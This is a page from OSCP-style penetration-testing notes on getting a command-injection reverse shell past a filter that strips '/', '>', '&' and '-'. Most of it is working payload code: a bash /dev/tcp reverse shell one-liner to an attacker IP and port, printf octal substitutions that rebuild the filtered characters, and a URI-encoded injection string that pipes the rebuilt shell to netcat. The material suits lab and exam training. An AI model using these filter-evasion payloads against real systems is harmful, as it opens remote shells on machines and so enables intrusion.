> For the complete documentation index, see [llms.txt](https://refabr1k.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://refabr1k.gitbook.io/oscp/exploitation-1/using-env-to-escape-bad-characters.md).

# Using ENV to escape Bad Characters

Characters '/ > & -' are not processed. But we want a reverse tcp one liner. We can workaround these characters using the following methods

Basically our reverse shell command /bin/bash -i >& /dev/tcp/10.10.14.39/443 0>&1 will not be executed successfully as / characters are being replaced. How do we get around this? 

If Env contains a variable we can use. For example, the `/` character is being escaped during our exploitation phase to get a reverse shell. 

```bash
# Env contains a variable
OLDPWD=/
HOME=/
PHP_FCGI_MAX_REQUESTS=500
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin
LANG=en_US.ISO8859-1
PHP_FCGI_CHILDREN=1
PWD=/var/db/rrd

```

Looking at the above Env values We can replace `'$(HOME)'` with `/`

And format the `'$LANG'` variable as such IN NON-BSD:

![](https://2057628634-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzoLyb83qrgLVzBgfMJ%2F-MN3B4wGcWqM_YQBPgxr%2F-MN3BrekscrIEbSEYVUq%2Fimage.png?alt=media\&token=8d892b17-7c09-4339-8063-d9f6fd1a68a3)

But If the OS is BSD format so we are not able to format it like above, instead we use linux printf

![](https://2057628634-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzoLyb83qrgLVzBgfMJ%2F-MN3B4wGcWqM_YQBPgxr%2F-MN3CB7LlqJhXG-iP08t%2Fimage.png?alt=media\&token=e47fa947-a054-488b-a3c5-6ba28a6e097b)

We can test out we will print out a reverse shell command with replaced badcharacters

```bash
# - character
a=$(printf "\55")	

# / character
b=$(printf "\57")	

# & character
c=$(printf "\46")

# > character
d=$(printf "\76")
```

For this example, since the full payload will be URI encoded, the space characters will be encoded as '+'. The reverse shell payload will now be

```
a=$(printf+"\55");b=$(printf+"\57");c=$(printf+"\46");d=$(printf+"\76");echo+${b}bin${b}bash+${a}i+${d}${c}+${b}dev${b}tcp${b}10.10.14.39${b}443+0${d}${c}1|nc+10.10.14.39+443
```

Which converts successfully to the reverse shell command that was not working previously

![](https://2057628634-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzoLyb83qrgLVzBgfMJ%2F-MN3B4wGcWqM_YQBPgxr%2F-MN3D8TsTa6WGg75AAgl%2Fimage.png?alt=media\&token=7e2243d4-3405-45e2-9124-3fa5d9d56f0f)